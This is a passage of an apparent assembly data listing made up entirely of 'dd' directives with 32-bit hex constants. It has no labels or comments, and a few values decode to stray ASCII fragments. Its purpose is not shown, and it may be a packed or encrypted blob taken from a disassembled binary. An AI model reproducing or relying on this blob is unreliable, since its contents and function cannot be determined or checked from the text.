0A2844224h, 0A01C644Dh dd 836E1E20h, 5BD83810h, 8EC9F980h, 371534C8h, 8053F8h dd 863691B9h, 136E2E5Ah, 9F78443h, 7C119578h, 4F858D1h dd 51883E40h, 99ABC5D7h, 0FC9B86D8h, 0C00E183Ah, 80582206h dd 0CD50C966h, 2BC33056h, 0CA4A9751h, 0DC78E402h, 4051FDACh dd 0CE6BB6D0h, 0F6A30721h, 0C7D9B031h, 0D1AC504Bh, 68B06EA6h dd 1898B8FCh, 92E8973Dh, 0F81227B9h, 440C1805h, 48879837h dd 0A608547Ah dd 53204502h, 27B812A4h, 9CE3C110h, 0AE18BB30h, 0CF45F4DEh dd 4A906FC1h, 0D8206035h, 81CD40E4h, 0B4845490h, 84BEF0B9h dd 85D83589h, 8A008238h, 0D7205789h, 50B6604h, 91EA6D61h dd 0C8348B73h, 0BDD6C044h, 8B003D19h, 0C903F2E2h, 99D7CAD0h dd 0F0450600h, 0B400D157h, 0F816E1D3h, 0D62D47h, 0AFB52199h dd 52F9C5F1h, 1ADC59C0h, 29767E2h, 0CA96F885h, 98827AB1h dd 0A48307B6h, 83BF3505h, 100C746Eh, 0E15B46FEh, 44220E3Bh dd 0E8806717h, 0B9E46CCAh, 0A0AE1920h, 5D17EA8h, 32C338BAh dd 6FFC900Ah, 0B218DF61h, 0E7B841AFh, 0D0085DB4h, 0C38C6726h dd 0A91E4DF8h, 8040EB36h, 1ED68235h, 57460E15h, 0A64FFB92h dd 2B6F8FE0h, 0B22AE532h, 650B88CFh, 223F98DCh, 9751A70h dd 58E0AC07h, 0D719DA07h, 0A492A484h, 0D9E871C2h, 0BEC81FBEh dd 8BC9005Eh, 8CE781AFh, 28C04208h, 63A7CF7Eh, 0A8D12648h dd 6B6A090Ch, 4045644Eh, 30FC5C42h, 32118986h, 629D6DD8h dd 898F8705h, 94C1DE24h, 0C003539Fh, 0A2ADFED0h, 4E4B8B0h dd 0C8CAC8B1h, 0C95AA409h, 0F2ED34h, 78C4E2FEh, 83C574Ch dd 166F3688h, 0BC7C04CEh, 8E801D48h, 0C31D5BDBh, 78426C17h dd 0C0054E29h, 0A8430215h, 42FC4078h, 509E115Bh, 9CB31674h dd 2B10913Fh, 165002Ch, 5C517A6Dh, 0F40854E9h, 0A994D59h dd 483CA560h, 61D9670Eh, 48527465h, 2C94DB4h, 36CC240h dd 194C5163h, 195C005Ch, 26DC0666h, 20554E73h, 989B5F30h dd 0F3D4048Ah, 33898360h, 3075D826h, 8C8470h, 95BF0189h dd 0A41DAE45h, 0C061E400h, 0EA9E85EBh, 0E52C027Dh, 0EF01AF1Eh dd 0D408485Bh, 0CB42823Ch, 3091F5Eh, 4B5F8C9Ch, 0C5407190h dd 0B7781042h, 98A9C060h, 0CF8A7E72h, 66DA7A01h, 0A97F8D95h dd 31FF8470h, 0D028778Eh, 8A5084B9h, 0C4425564h, 0E0949ACh dd 0BC454AF8h, 9950400Ch, 794F30A2h, 3C969CDEh, 67F67E50h dd 6E0B1176h, 645697C3h, 6B362410h, 2C4F008Ch, 8C1EFE6Ch dd 600F7C4Eh, 40C86172h, 0E03896ABh, 4382F13h, 16709A74h dd 41D15082h, 87228F8h, 0CC9ED216h, 0DA1FDF54h, 0C0F844CBh dd 1EA8ABBEh, 40E44678h, 0CB215133h, 0F4B965AEh, 0C453A611h dd 0EF302CA2h, 90CB00D2h, 0C7036B92h, 551835E8h, 3E4969D5h dd 19CF667h, 4F83F7C2h, 624CC4F3h, 5461088h, 0C2962C0Bh dd 0B189BCA4h, 0B21C2014h, 3AFC6D52h, 7C914028h, 0D8FB5DE6h dd 0DF439F01h, 30C82EC2h, 8E32614Ch, 2A0448E7h, 18EB745Ch dd 56B10C2Eh, 0D270BADDh, 0BC0430A2h, 260E38Bh, 0E6FB196Ch dd 1064317Dh, 41A942Bh, 9CD350F8h, 0DAF4E03Bh, 0D4337B29h dd 0D10C13h, 0F05583B2h, 0A72A8480h, 0AEFF87Ah, 4F60FBD0h dd 7BD88180h, 38726D7Eh, 289B3486h, 4DA210B3h, 25338232h dd 2C8823Ch, 0EB570072h, 70CF5408h, 2E3138F9h, 8F3000A0h dd 20EF0A90h, 250902F6h, 273EF0B8h, 0C2D03774h, 0B17A7Fh dd 712C1DA9h, 0A2EAF14Dh, 6A4BF09h, 0FF6C0236h, 77DC4056h dd 391C2693h, 573B4288h, 5D4ECE00h, 0A1D02688h, 310B18A8h dd 1316EF2Ch, 381FCB1Dh, 0A89057D7h, 3D84DD86h, 7880DA32h dd 12BEC334h, 1DE0A6DBh, 0A800DC72h, 7FBF5149h, 3FCE0F4h dd 0C320D1F6h, 5CF078C2h, 35392D75h, 0CA21DA5h, 2E8E9A40h dd 16D2B9h, 3868D4A1h, 0E19046BBh, 71C52207h, 0B48EB752h dd 0E4BA0008h, 0C69D7964h, 5C90772h, 60D6BC04h, 3674CBEEh dd 0C8B58B06h, 7938D0h, 0FBF3ADC0h, 1AA29CC4h, 0B9003476h dd 313EBE10h, 39C52078h, 7050DB9Fh, 42C20C59h, 3440C09Ch dd 0B7A0A300h, 94B639EAh, 0CC86FC30h, 8521A908h, 0AB79800h dd 0F491B83Fh, 77CB060Dh, 50D21A9Fh, 46453A18h, 7C16B99h dd 79EFA7F8h, 1998C63Eh, 0EDC9521Ch, 16BB4841h, 9887829Dh dd 0D0F7253Fh, 363D72D7h, 50CE550h, 0F8ADF030h, 1A48FCBDh dd 10C1DBF5h, 0E0169802h, 0E378AC00h, 0C3A9C0DAh, 6A7541E2h dd 502C490Eh, 8F3FEC7h, 81213EDEh, 0DCDB7580h, 0EC579D95h dd 4B5B7A0Fh, 0C200702Ah, 4AD4227Bh, 0BF609CB4h, 7061059h dd 72DD0052h, 0A1F6F91Dh, 0C000058Dh, 0B73D114Dh, 0CE941C8h dd 54157D39h, 1E054810h, 35D095C3h, 6E00D45Fh, 5FBB3D03h dd 0B37419E6h, 80280887h, 375EF21h, 3F60AD5h, 0C7CC6743h dd 36B0937Dh, 98A5A851h, 0D0EBB02h, 450C1480h, 1885ED3Eh dd 0F2F53349h, 0DE1BD31h, 1DE90079h, 0A8A15234h, 0A8012322h dd 92BB811Eh, 0D9F9C7EFh, 46CCF042h, 89D1783Ch, 2FA7EC60h dd 407B9829h, 8401C900h, 54DA20D8h, 1FCBCD2h, 16F7A33Eh dd 607605A5h, 0FBB8326Bh, 0F04EA900h, 39E1D8B4h, 692E6045h dd 0C65B98EEh, 75407963h, 1CA810CEh, 25490FE1h, 0E4709854h dd 0EDA41C15h, 823B80AFh, 48133832h, 3C481274h, 0EF76107Ch dd 0D1A26306h, 7200C137h, 0DCE51A8Dh, 14749A23h, 0F6703067h dd 0B9C6DA18h, 0FF00A658h, 2D9D1BF9h, 0F41DC962h, 1378C0B6h dd 0AF6B0246h, 414C549h, 24BD553Ah, 0C7F80080h, 83C62810h dd 0F5CF1898h, 0E3D7958h, 0C4976528h, 20162926h, 73344E81h dd 4424772Ah, 0FFEC0098h, 0A6F0F199h, 9CCF9C6h, 5382184h dd 2124FFE4h, 58F3C157h, 840820B5h, 9890C281h, 915D82A2h dd 0C7F70055h, 1084C96Eh, 2C2ECF4h, 754D37E4h, 82684A59h dd 0F6BA518h, 0CA01F582h, 6CB72442h, 1FE580BDh, 1C7C5AD0h dd 0BBD10499h, 7915536h, 30FC7A29h, 977900F9h, 655217F8h dd 0BB15267Ch, 50C8F2DAh, 9C481B68h, 0E1A4845Ch, 8CE204C8h dd 6D753A04h, 0DB626449h, 75428820h, 16CE1E6Fh, 691F804Dh dd 0DF4B65A6h, 50737F32h, 753E30E6h, 44496911h, 8480D888h dd 8EAC7546h, 254939Ah, 0A75FEDE3h, 2C4D923h, 91EC8531h dd 0C881A274h, 884D5FEh, 49CAA11h, 806592B4h, 87BB408Fh dd 2044B4ACh, 3721FF4h, 9AF201D2h, 41547DFDh, 0C834DCh dd 0C5DC3F39h, 6EDCF81h, 0E9BC9B1Ch, 0D0D1BB00h, 51FB6F60h dd 702C00FDh, 5059A9ADh, 87389B85h, 0E93770C2h, 25020812h dd 0DAAEC0FBh, 4C2B0042h, 580F6CEAh, 0CD0F013Dh, 0FCD4C8h dd 858DD2B7h, 16FA0EE9h, 57036A06h, 470E03E8h, 44C35F20h dd 0B2AF7C89h, 211C3095h, 3C35747h, 99283625h, 1990F9E5h dd 0F18504Eh, 0B9270583h, 0C02418D9h, 0FB386C0Bh, 1EBF0F80h dd 0C78950C8h, 0A0141CB5h, 150995FFh, 0B9660CC0h, 32831619h dd 519A10C4h, 0E4C35930h, 224C4689h, 5141001Bh, 393B0CC3h dd 0C1172A19h, 20FBD476h, 8BF315C4h, 0ABFBB000h, 0DC562DD5h dd 39755C6Fh, 0E9663D06h, 990F2B0Ah, 206CACE8h, 0F60E0B10h dd 8B5F0039h, 31BF66C0h, 0BD1B8391h, 81B630B1h, 12880975h dd 74961AE1h, 346D18BAh, 761D3B8h, 49858958h, 9D8D2582h dd 8C80B73Ah, 585BD3FFh, 174122ACh, 2911200Fh, 0CEF90B4h dd 0C909E9F8h, 0B30E003Eh, 929EE75Dh, 90D01528h, 0E5623ACh dd 8944C35Eh, 20166274h, 83C35646h, 89C8C20Eh, 82294C9Dh dd 62BD1081h, 726F00F9h, 840F6165h, 6839D9B1h, 0BB211950h dd 914489C8h, 5040C02Dh, 11008BC3h, 98F8E689h, 0F2165147h dd 6193095h, 0CDBD3174h, 853381A4h, 105081DAh, 0C8FB170Eh dd 0CA324A38h, 0C60C032Eh, 49005985h, 184F6844h, 14FF96A3h dd 301145B5h, 423B1312h, 0D88BD053h, 94D32CB1h, 91436212h dd 0CDE8404Ah, 8371442h dd 0EB410C20h, 47C526F7h, 6610815Bh, 0AAC5DF81h, 0C4CBA520h dd 1F0C8522h, 25F88B87h, 8083A7AAh, 0D283ACD6h, 5DCD4105h dd 0C7083B16h, 251D7985h, 0C3C8A7Fh, 332E7EDEh, 96BCF96Eh dd 0F680FB00h, 1DB589DDh, 0E964C522h, 52334874h, 91C35AC3h dd 15185489h, 15524288h, 0A7409EC3h, 342235D4h, 803EB532h dd 88C62FC1h, 576E1D08h, 5908110Eh, 1BBE2FE9h, 0DB0D138Ah dd 140B000Eh, 0A7AA96BAh, 301C98Ch, 0FB5048C2h, 6491CB0Bh dd 18293BA3h, 528E044Dh, 11EECC53h, 0D0C6599Fh, 0C82DD685h dd 5DC355F4h, 6C8991C3h, 4501AD4Eh, 918AC355h, 0D17F20A4h dd 812804E1h, 3284585h, 2008FEFFh, 8817095Dh, 0E9942A84h dd 60F80075h, 768901E1h, 0BDDC000Ch, 0D8BFB08Fh, 7A010B3Ch dd 0E9D249ECh, 3092111Ch, 0C13B0260h, 0FF41EA8Fh, 618183D1h dd 503E9h, 0F6F1817Fh, 799589B4h, 9220B69h, 3B4F9836h dd 5F9F0068h, 55DA7197h, 66005275h, 314EE7CDh, 993C17CBh dd 1FD4F9ABh, 0A25ED4C8h, 35EF02ACh, 136CA42Ch, 68151E43h dd 0D29C04C0h, 8EBD5500h, 0F08318A6h, 0D8B102AAh, 3F687EEEh dd 0E80AC98Eh, 0E1354089h, 0C90EADBCh, 675F0422h, 0B360FECAh dd 1DDC3631h, 0C1BF9ECFh, 5A40D953h, 4EA526Ah, 0C6978329h dd 0F51826C5h, 0BDD51506h, 3585090Ch, 81F1E90Dh, 639BAB31h dd 6420B139h, 482090C0h, 17FCCB1Fh, 0B6E0A8Ch, 12A16B9Ch dd 8B76435Ah, 7CAEDDBDh, 0A0956CFh, 58BC9D29h, 8C15EC0Bh dd 8B89AC14h, 4B3134CFh, 19C8588Eh, 8905CFC0h, 0E88DE252h dd 14A528BDh, 0CAF38329h, 53319121h, 0C3725B18h, 415C892Eh dd 1534370h, 2FEAAC3h, 0D0F7C780h, 9090567Fh, 0CD59EA09h dd 0C7F2B25Ah, 60164471h, 1ED4B76h, 0DABA6050h, 4765D330h dd 911334C1h, 30016ACDh, 196F811Ch, 0F6002CDh, 80064489h dd 820D29A6h, 4FF98305h, 0D7AD61ACh, 10ADEC41h, 0F3FF6880h dd 13665F20h, 2CD21ABAh, 0E88937C6h, 0AC00A532h, 0B6CD4F7Fh dd 0CF006957h, 0DA2D9145h, 0A059C799h, 80F9B784h, 4DA4800Fh dd 0C424E120h, 52651C4h, 111425E9h, 0D2042C31h, 0E847584Eh dd 0D123C00Dh, 978FDAD3h, 623C6100h, 284ABAE0h, 205098BDh dd 5A31033Dh, 312FD050h, 62129D5h, 30A0BC2h, 0F08A4268h dd 3346AE41h, 301CF2E6h, 1A00C1E6h, 0CCFBAFFh, 1AFC4EA7h dd 737D9529h, 0D2EC891h, 16883D4Bh, 6426C0C0h, 0AB8848BFh dd 72E9090Dh, 91F20121h, 160C051Ah, 94E9CF5Eh, 135F808Fh dd 55A28302h, 583B8D00h, 37BFF599h, 0DBE28B4h, 5C36D48Ah dd 8C18F8h, 2820BA96h, 1960B953h, 0AD036728h, 0F702A929h dd 8812C90Ah, 4A76F1CEh, 8515AF8Fh, 19BDC264h, 106A0009h dd 3C24E680h, 52292D0Fh, 3E554164h, 24A83C8h, 9082508h dd 8E9F36E9h, 0FE861691h, 9522A0E4h, 0F5ACC4B5h, 0C5C8A0Fh dd 77E99D01h, 810F2A50h, 4D95106Fh, 8D890405h, 508A1039h dd 0CE28E858h, 965279A4h, 1B4676E9h, 0BB2D7800h, 9BEFCB69h dd 0BF661705h, 0C524902Ah, 4A98BF37h, 9550925h, 29092B14h dd 912279B5h, 0D7E8A4h, 53036833h, 0B3F489DFh, 23FAC300h dd 4995EE71h, 0CA6B04E9h, 0C148F7ADh, 40D4D03h, 0B5317DD0h dd 0A50F92D1h, 5C032646h, 0F8001D46h, 6CDA9E1Fh, 0A22CE8DFh dd 9509983Ch, 64182975h, 0FECC3906h, 4719903h, 2AF7A6E4h dd 64A11B7h, 25298501h, 0C9AB9936h, 17117697h, 8768D381h dd 247349C6h, 9DC82EF0h, 0C5B5800Ch, 7E21B031h, 40C8F902h dd 4E753C62h, 4CD150ABh, 0F92F992Bh, 46181Dh, 687FAFBEh dd 0A4C69E73h, 39F5F150h, 0B0482B42h, 68401D3Bh, 67E18070h dd 752EA0D5h, 0A31A04DDh, 8E036A07h, 0C718886Ch, 703DC16Bh dd 59C020D2h, 0CDFC2640h, 63AE294Eh, 0BD010400h, 0A8B42281h dd 4D6864F9h, 0F5C687C0h, 0D6108825h, 1155838Ah, 0BA194C08h dd 14658A7Ah, 176018E4h, 2705C633h, 0FFF8832Bh, 4BEDB04h dd 9490AE12h, 716A58h, 4733C637h, 63FC1642h, 4485FF12h dd 94B2714h, 6A351DB5h, 20C041Bh, 3C184C1h, 37870B2Dh dd 4143D07Dh, 7B1EC23Ch, 1000BEFh, 0E17498AFh, 9B77264Dh dd 243B075Bh, 8BE90F5Bh, 7E94410h, 0BAF50BC0h, 379DA8Dh dd 0D0FFD973h, 3810CAB1h, 86581E8Eh, 0FEA1E20Dh, 5FD301Eh dd 0BA406089h, 120361F7h, 940CB18Dh, 9DBE0BB7h, 124766A9h dd 217FD8C4h, 0F71D7AD8h, 12801511h, 0CDB58992h, 60763155h dd 51821D44h, 9FF241Bh, 4D460A0Dh, 19C486A5h, 0D9259B60h dd 0F2E2D114h, 798534AAh, 5328DDF3h, 59FB24C3h, 959D86E8h dd 31942623h, 11211D69h, 68C0801Ch, 0CF970EAh, 0B3A6CB3Ah dd 164C55EEh, 3596999Fh, 2B287965h, 83F181C0h, 1D4A62C9h dd 833A4724h, 8A071A23h, 12C1D225h, 1372B3D7h, 939F3FC9h dd 22801A91h, 110F9B47h, 0C48C8532h, 0CC574A35h, 5C235C3Bh dd 92962C20h, 410BB748h, 80119426h, 811BA58Bh, 65FF6650h dd 0C195151Ah, 0F8010298h, 0CD2058E5h, 8EE256A2h, 0B3C7EF07h dd 0F9680245h, 2B348603h, 1A18621h, 8C8D6507h, 9D28B5FBh dd 3C135310h, 797A16FCh, 497A81Ch, 0A150B673h, 30CFA4FEh dd 41C6842Ch, 16A2419h, 66CB1651h, 3D202290h, 0C2810222h dd 747A6025h, 54568A84h, 215C75A2h, 4216A521h, 9DD96A94h dd 20FDC701h, 0F589812Dh, 3E441916h, 0B99D1431h, 0CBA5F724h dd 0C01DC898h, 0E2BF461h, 9B3FD672h, 0B5A6E264h, 360AD845h dd 143122E9h, 602F18ACh, 1D0220E8h, 88E149h, 0E6B1B0A1h dd 0FFBF0F10h, 0B58B5A09h, 616AA05Dh, 558D3350h, 0E9239065h dd 92313700h, 0E6C739F1h, 5C293E93h, 0B927F480h, 440C9Eh dd 0F5F839A8h, 5EE56CC8h, 0C5D06909h, 684F322Eh, 9396EF02h dd 0BF8B3D4Eh, 7CB9DB2Dh, 0A565EB8Dh, 3E604E42h, 0EA05CEBh dd 88C3C94Ch, 57EA7940h, 0DB0582ADh, 0FCB37F40h, 0BD292920h dd 0F044075h, 80328E48h, 0D91ADA81h, 34C498Ah, 0A76E97h dd 7C0E7143h, 0ECC75A48h, 74E925F8h, 0F2D780DDh, 652489C8h dd 90A79A2Ch, 499D29CEh, 61760A50h, 86A72362h, 0B9F4D103h dd 2A5D850Ch, 0BAB8571Eh, 5F810971h, 0E9C82284h, 0E2E9D562h dd 7DAA0007h, 0DFD97B44h, 12B1F8FFh, 4E5CB58Dh, 0E5E429DFh dd 9A5E880Eh, 527AA94Fh, 4E6ADF00h, 1ADBD0Bh, 0E904CB92h dd 629259E6h, 241DF481h, 81D0EB9Fh, 0B0DEA1EAh, 5170A87Ch dd 0F982D250h, 0F8E42E45h, 0E9F32D8Bh, 9233EDA0h, 123942ABh dd 5BDE29B5h, 3BC18005h, 6507EBB2h, 80544438h, 4D13A069h dd 737D0124h, 4082831Ah, 0A4231502h, 92EAF1F9h, 80CD6240h dd 9EB17A5Ah, 0F943B924h, 0D9C81FD9h, 5F85F5Eh, 0F3CC1911h dd 3018B2F5h, 0F60077F2h, 0BDB9AB80h, 9A66B370h, 83E570CEh dd 0E323D8B1h, 53A493FCh, 12F58E18h, 0E589031Fh, 0EB5043D0h dd 402006B0h, 63861704h, 0FE8A05Bh, 8A117F00h, 0A1530D14h dd 6E840509h, 829030BCh, 0F60D8B9h, 5F58FC1Ah, 0ED122246h dd 224352FAh, 0A17C06E8h, 3EBE4704h, 0C845F80h, 0ED503E0Bh dd 0C66BC040h, 6A278BB2h, 2CCB0460h, 0F8AEE4E5h, 0A902F4F9h dd 0A8F470AFh, 94486350h, 5341C852h, 1BE08900h, 8372A7D0h dd 6C6268D2h, 14465C38h, 0A93C2C34h, 782B8AEh, 563873Bh dd 68AE93C5h, 460B1882h, 20534B9Dh, 34C62E55h, 6483EC00h dd 3D22D845h, 0B86F9A13h dd 5E929625h, 6D031946h, 51E4950Bh, 0BE95309Dh, 2000AC9Ch dd 3AA1322Ah, 9851E7A3h, 890AE690h, 817E88FCh, 65F91330h dd 0E97204C1h, 48C1CA15h, 0F6CA2BAAh, 1920C528h, 1740FC1Dh dd 444B518h, 6421E1AAh, 0E5FA5D82h, 0DC46961Ah, 3D1C3F98h dd 299E832Eh, 0F98F5CC3h, 3B72990Fh, 2EDF0E61h, 118E598Fh dd 5DBA0005h, 3D32AEDDh, 833AA08Ch, 1DDBA9Fh, 1AB5CCB9h dd 0C223E975h, 9D8CE7E5h, 543D5B2Dh, 8A7E2198h, 1D9D7981h dd 0B866000Ch, 6152274Dh, 8802071Ah, 0E9642E21h, 48A262DDh dd 1D806AE9h, 0DBBF29CFh, 5FBA6F03h, 0B01B2D58h, 24A787Ah dd 4D8FD781h, 197113E0h, 80B95CB2h, 0D1C9813Fh, 5066C3C0h dd 92FDBD09h, 34D15A5Bh, 93EE4700h, 0AAEC7B1h, 71642F74h dd 1F2E1280h, 0E0A4C755h, 3F9839ACh, 35E2B175h, 0A0362D00h dd 7CBD2366h, 761E1201h, 0F5FA0CFBh, 594B5F85h, 0C8BA06C0h dd 0C6E2877Ah, 0C6083F0Bh, 20C45C0Bh, 162D0Dh, 0EDBF601Ah dd 1A58A981h, 165E7677h, 4C0F949h, 805D0329h, 89BFFFB7h dd 6C4FE74Dh, 37294523h, 990CC723h, 0F08A7430h, 80F3FC97h dd 3A6B360h, 0BFE7E18Dh, 8A31A469h, 2086C966h, 64CB2675h dd 99E4601h, 0FFE97AB6h, 563BEE94h, 3C058BF8h, 0B2E0B326h dd 5F46808Ch, 0B8F1BDE9h, 5EE394B7h, 4C051746h, 17A8203Ah dd 7E016E8Eh, 9DEFBD02h, 628609E3h, 88149F1Dh, 21FC07DDh dd 817007DDh, 0D8513AF7h, 0E665798h, 84C002A0h, 0E9C9DD80h dd 4ABDF117h, 1ECCD624h, 2972644h, 860FA8B6h, 0E84CFDE4h dd 0CF2480C4h, 0A1CE56h, 669F797Eh, 298D3370h, 96326199h dd 84BB6A3Ch, 28E0C9C9h, 214F4BE9h, 8E05D5FAh, 184C85B9h dd 4F2812Eh, 4EB22154h, 45C8240h, 820AC82Ah, 374B2E5Ah dd 0C968181h, 389AB1FCh, 1302201Ah, 81259529h, 0BC346A08h dd 1207A796h, 0C73B13CBh, 0A13BC1E6h, 0FB30076Fh, 0AD016068h dd 0C3F6DB8Ch, 347B0448h, 4CBC1902h, 526856C0h, 9C47A8B8h dd 0EE046A85h, 64DD46F5h, 85D081BEh, 2D108AAFh, 9B086847h dd 0F3EC18ACh, 0F08B0414h, 684F801Eh, 0F72F2661h, 0E348101h dd 0C1AB3650h, 286A537Dh, 85188556h, 753075C0h, 15986841h dd 2ADB8764h, 0C842D0A6h, 0A4684CC1h, 5A80C9E7h, 42644C20h dd 5B757E88h, 0B4155D94h, 15AC7054h, 4B03C727h, 0C43B092h dd 260FD902h, 205225F5h, 1146998Ah, 0D0026A2Ah, 0B5CA3453h dd 21174A91h, 6845406Dh, 0A520F797h, 9312192h, 0D50267CCh dd 75852E0Ch, 0C0663632h, 0A94EA1D1h, 0A4620C19h, 98463469h dd 75A2F863h, 292A0438h, 122AC5BDh, 0A13D2582h, 35FF6495h dd 0C1FC4843h, 9E732589h, 10C9B710h, 44C82309h, 0A4BEB28Bh dd 501312ADh, 803E2821h, 1708C889h, 8B9297D3h, 0E90B03E2h dd 0F84701D6h, 77601564h, 0DB293369h, 0BC07ACE8h, 0E3B0634Bh dd 1FE41F5h, 86D014EFh, 34D5BD89h, 33585F09h, 1B8F11BBh dd 0E30CC84Bh, 0D3055900h, 69CE2E0Eh, 8A680060h, 5E01BC15h dd 0AC04AA6Dh, 5A62EA80h, 73F81C0h, 8F64160Bh, 0C4E58805h dd 0A3E80427h, 90D64EE3h, 5844E472h, 512EBD40h, 709D4967h dd 0B4801411h, 0FB83D18Ah, 84220EB8h, 0C2810011h, 15919A34h dd 0AEA81EE9h, 4D498D29h, 944F7B16h, 97FA6723h, 0F08F65E6h dd 1924764Ch, 27A481C7h, 83039EFFh, 415B899h, 8BC3A041h dd 550CCE40h, 5D7EA0E8h, 97ED2481h, 838B8A3Eh, 204A281Bh dd 53E93989h, 4F4F5D0Ch, 0C48086DBh, 80364DE6h, 25C1EB1Eh dd 91CD97E5h, 0C426801Ah, 7975B464h, 0D8BA09Bh, 4806BC21h dd 59243E68h, 84E449A6h, 7F001DF2h, 0DC0E11B6h, 793227E7h dd 0DF1F02FCh, 79D5EFE5h, 83A0B74Eh, 9801A89h, 0D0AD55BDh dd 0A238C25Dh, 0F598E680h, 173AC968h, 0E8F2801Ah, 5EC5C0BFh dd 404E9809h, 4B9B906h, 0D704B800h, 5C054855h, 0D002E64h dd 85D465BBh, 401CBA86h, 8C3E34B6h, 0C5FE8EAh, 2FBEEEDh dd 564D5868h, 0AD600A75h, 9A9F1B0Dh, 0E779C56h, 0AE24DF81h dd 95891560h, 0DE9E0D45h, 0D3C1609Fh, 51315018h, 0D27C202Ah dd 0FD00FEDFh, 7D100B82h, 72FFA2h, 2CC5DECBh, 2F43BDC8h dd 0FCDE615Ch, 1004423Dh, 0A18830C1h, 820875Eh, 0D1C9B442h dd 0C1B000EEh, 0CD2D423Ch, 0CA12E3B8h, 0B490046Dh, 0AB47E9C0h dd 1C5B709Eh, 0DC392E31h, 70012B30h, 63007845h, 69747065h dd 73206E6Fh, 14667649h, 0C616D72h, 6C501E70h, 0C4735C65h dd 0F63202Ch, 0F8793D74h, 0F1FB68EAh, 0F166F173h, 9F72F577h dd 761F6412h, 705E6C9Fh, 0CC73BD7Dh, 1D3468BCh, 636C76B3h dd 676E1C26h, 73406763h, 0E354BA2Eh, 0EB6BEB5Eh, 0D975EB79h dd 4BF0D0Ah, 281901D3h, 81738070h, 5254436Eh, 0FED72B4Ch dd 6978CAEBh, 64B63C46h, 8AE9187Ah, 879707Bh, 2F696C8Fh dd 64DAF862h, 636A229h, 84DF5642h, 0FE3DFEA6h, 1E98F325h dd 6B63E843h, 0F4E492Ah, 4F086447h, 50E15455h, 88FE6F72h dd 465B0F1Dh, 0F3410F3Bh, 873DB606h, 6F1E210Fh, 348E502Ah dd 0B1E7718h, 0C4B0EE2Eh, 512012Dh, 0ACB2597Ah, 0B1C3848Dh dd 3A35657h, 0B26995F7h, 3A2642E4h, 30198517h, 75260716h dd 24D75116h, 65AC6761h, 10ED9667h, 34A225CFh, 0B2E9461Ch dd 36231C40h, 0E4851B2h, 44595423h, 593D230Eh, 45230E38h dd 210E3C59h, 0C30524Ch, 0E9801CF5h, 739395A2h, 22DC23BBh dd 0CD0DA295h, 11851012h, 218896B1h, 0B712C24h, 6E4C1CF8h dd 10958D2Fh, 0C1345281h, 0D4C34028h, 0F148603Bh, 0D16606F5h dd 5522400Ch, 139D8B2Ah, 0A4CC32Fh, 11686596h, 0A82750C4h dd 40085479h, 88589087h, 85C7944h, 0DC948A38h, 0AFB4DAFBh dd 0CD056845h, 430C5A26h, 9038213Ch, 6440C844h, 2A303234h dd 622A120Ah, 790621Ch, 145B1DB5h, 2409A7CBh, 2A28406Ah dd 0E35B5A19h, 4C0125BCh, 59EBFA0Ah, 0E9A89B18h, 0A3020B2Dh dd 8C245CADh, 0F6105FA7h, 0C2610C3Dh, 94E63404h, 14601983h dd 15F60208h, 24CC4F68h, 0F8E930C3h, 2EB58B21h, 818E3E63h dd 5BF083E6h, 0E8F22218h, 8127CEF2h, 3B44A1C6h, 398632B5h dd 51E9860Fh, 0D87920ECh, 0CF602273h, 8C66506Fh, 32409C8h dd 1B08C00Ah, 13892C2Ah, 85B988BBh, 934F120h, 0DB0A1886h dd 2C673F08h, 32F6388Bh, 0CFC62404h, 81C1F52Bh, 1DE14108h dd 0DDBB0719h, 70FEDC61h, 1C25C0C7h, 662AA353h, 15FCDB89h dd 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h, 0CBEF8353h dd 1A03E380h, 4B3884C3h, 0C79D7617h, 0E616AD89h, 448B3739h dd 229845E6h, 6AF89C5h, 0AF1C188Fh, 23199A92h, 5BBD9401h dd 84A3C8A2h, 923E8060h, 0BB2031EAh, 0E3AB7A1h, 0B101B076h dd 0ACAE8852h, 2C88A07h, 0D12032C3h, 640BAACBh, 430140D2h dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h, 0A7AE657h dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h dd 64DB2D32h, 0AC7A77h, 81D3D1D8h, 465ABCC3h, 3EB0376Fh dd 970B498Ch, 0C38B88E8h, 5B595E1Dh, 0C57B6014h, 2B1911E9h dd 775A2AEAh, 0E747C020h, 0FA8DF21h, 4A8D81Ah, 93BAD93Ch dd 280B50D3h, 8F2E6056h, 8221346Dh, 687CF64h, 8989C8BDh dd 2F035138h, 408B6898h, 170505FCh, 899B46F3h, 14332124h dd 4659FD3Ch, 3047EC1Eh, 0E9AE10C9h, 0DF69D187h, 72247648h dd 0C7A004Dh, 45CAB2B8h dd 3589A94Eh, 0E43006C0h, 46C801D1h, 820FF73Bh, 28D49F1h dd 289708EAh, 97284CB2h, 51560428h, 4138453h, 980C4A2Ch dd 2D503C67h, 4880AC9h, 13340198h, 0C3C1D832h, 5D1C2108h dd 5B1C4067h, 37A25E59h, 405F9802h, 0E9686D11h, 880C878Ah dd 0AF4431ADh, 90E8437h, 0FF80C8E8h, 38240070h, 0A7BE666Dh dd 0F95C5AB4h, 6850173Fh, 0D6D0B4h, 0C02BDA7Ah, 34FFC88Bh dd 35B103Eh, 8AD4DBEBh, 0F93E795Dh, 4D0F3E8h, 0F35ED3Ah dd 80378980h, 4EE7C354h, 0C0536F89h, 0EEF8C756h, 24C048Fh dd 978CC02Ah, 2485814h, 295AA2A6h, 47D1539Ch, 0DEE71D00h dd 58FE4B09h, 0C85E0FB1h, 83075ED0h, 0BF6604E8h, 0F8815FD0h dd 1E985934h, 0AD9F8515h, 5804C84Bh, 3FB57100h, 9C5DC6B9h dd 63020084h, 64DBDAB1h, 2FE81287h, 2CE17F00h, 60AAEED5h dd 27090091h, 0D8FC4029h, 8F032662h, 8BB210BDh, 0FEF3E8E4h dd 9D6003A4h, 0F2C68D7Dh, 0E7495180h, 62DACF00h, 87FAF23h dd 5D530A2h, 0EDF4A421h, 28973214h, 0CED8E120h, 86004B18h dd 326D1ADh, 76075A4h, 0CFEB4057h, 31AF3028h, 0BA7E625Eh dd 3D7FAA00h, 0DCB57BA0h, 0E487012Ah, 0AC2E24F5h, 0C9C01064h dd 0D58101C3h, 0DDA8DE98h, 3008A0E0h, 0C3B1A106h, 76B84B56h dd 0E1CF89CDh, 26B08542h, 3781E683h, 109FA69Eh, 3D12062Dh dd 0E30921FFh, 83C32382h, 0BB22C426h, 0FD083068h, 239A4121h dd 3C58D0E5h, 0BED68D02h, 2F478h, 69BD94F1h, 80A7E238h dd 99A2A1D8h, 205BA3h, 